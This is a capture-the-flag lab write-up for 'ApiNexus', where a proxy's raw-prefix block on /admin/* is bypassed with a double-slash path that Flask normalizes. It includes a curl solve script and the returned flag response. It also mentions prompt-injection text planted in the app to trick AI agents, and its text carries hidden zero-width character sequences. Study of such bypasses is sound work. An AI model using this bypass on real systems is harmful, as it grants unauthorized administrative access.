Lab 190 — ApiNexus — Proxy Access Control Bypass via URL Path Normalization

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: anti_honeypot_awareness, api_info_endpoint_reconnaissance, double_slash_path_normalization_bypass, flask_werkzeug_path_normalization, proxy_acl_bypass_via_raw_path_matching

Summary

Walkthrough of the CUSTOM Web Lab 190 — ApiNexus — Proxy Access Control Bypass via URL Path Normalization. Task: Enterprise API gateway (NexusRoute proxy + Flask backend) blocks /admin/* paths via raw URL prefix matching at the proxy layer. Solution: Double-slash path (//admin/flag) bypasses proxy ACL beca

Description

ApiNexus is an enterprise API gateway management platform by NexusRoute Inc. It provides API endpoint monitoring, request logging, auto-generated documentation, and traffic analytics through a modern web dashboard. The platform uses a layered proxy architecture — a custom NexusRoute gateway proxy handles incoming traffic and enforces access control rules before forwarding requests to a gunicorn application server running a Flask backend. Certain administrative endpoints are blocked at the gateway proxy layer and return 403 Forbidden. The goal is to find a way to bypass these access controls and retrieve the flag from a restricted admin endpoint. Credentials: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An API gateway management platform with a layered proxy architecture. A custom NexusRoute Gateway proxy enforces access control by blocking /admin/* paths before forwarding to a Flask/gunicorn backend. The goal is to bypass the proxy ACL and access the restricted /admin/flag endpoint.

Analysis

Architecture Discovery

The application stack consists of:

• Frontend proxy: NexusRoute Gateway/2.4.1 (custom proxy)
• Web server: nginx/1.25.5 (visible in Server header)
• Backend: gunicorn/21.2.0 (sync worker) + Flask / Python 3.11 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

1. Logged in with user@test.com / password123 via POST to /login — received a Flask session cookie.
2. Explored the application: Dashboard, Endpoints, Docs, Logs, Settings pages all accessible.
3. The /api/gateway/info endpoint revealed the architecture and access control rules:
   • Restricted endpoints: /admin/*
   • Rule: "Access control enforced via URL prefix matching on raw request path"
   • "Path rules applied before forwarding to backend application"
4. The Settings page (/settings) showed the proxy access control rules:
   • DENY /admin/* — Blocked at gateway proxy layer (returns 403)
   • ALLOW /api/* — Forwarded to backend application
   • ALLOW /* — Default pass-through ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Anti-Bot Honeypot

The application contained a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs with prompt injection text designed to trick AI agents and automated scanners. This was correctly identified and ignored.

Vulnerability: URL Path Normalization Desync

The critical insight comes from the /api/gateway/info endpoint: access control is enforced via URL prefix matching on the raw request path. This means the proxy does a simple string prefix check (does the path start with /admin/?) without normalizing the URL first. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

However, Flask/Werkzeug on the backend does normalize URL paths before routing. This creates a desync between the proxy's security check and the backend's routing:

Solution

Bypass Attempts

Exploit

 bash read-only • copy allowed Copy
#!/bin/bash
# Solve script for ApiNexus — Proxy ACL Bypass via Double Slash
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET="https://51bbd1c2-984b-4e91-9479-e4bab29635d5.labs.hackadvisor.io"

# Step 1: Login to get session cookie
curl -s -c cookies.txt -X POST "${TARGET}/login" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user%40test.com&password=password123" \
  -o /dev/null

# Step 2: Bypass proxy ACL with double slash prefix
curl -s -b cookies.txt "${TARGET}//admin/flag"

Response:

 json read-only • copy allowed Copy
{
  "flag": "FLAG{REDACTED}",
  "message": "Administrative access granted.",
  "status": "success"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering anti_honeypot_awareness, api_info_endpoint_reconnaissance, double_slash_path_normalization_bypass, flask_werkzeug_path_normalization, proxy_acl_bypass_via_raw_path_matching was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 190 — ApiNexus — Proxy Access Control Bypass via URL Path Normalization • Difficulty: Medium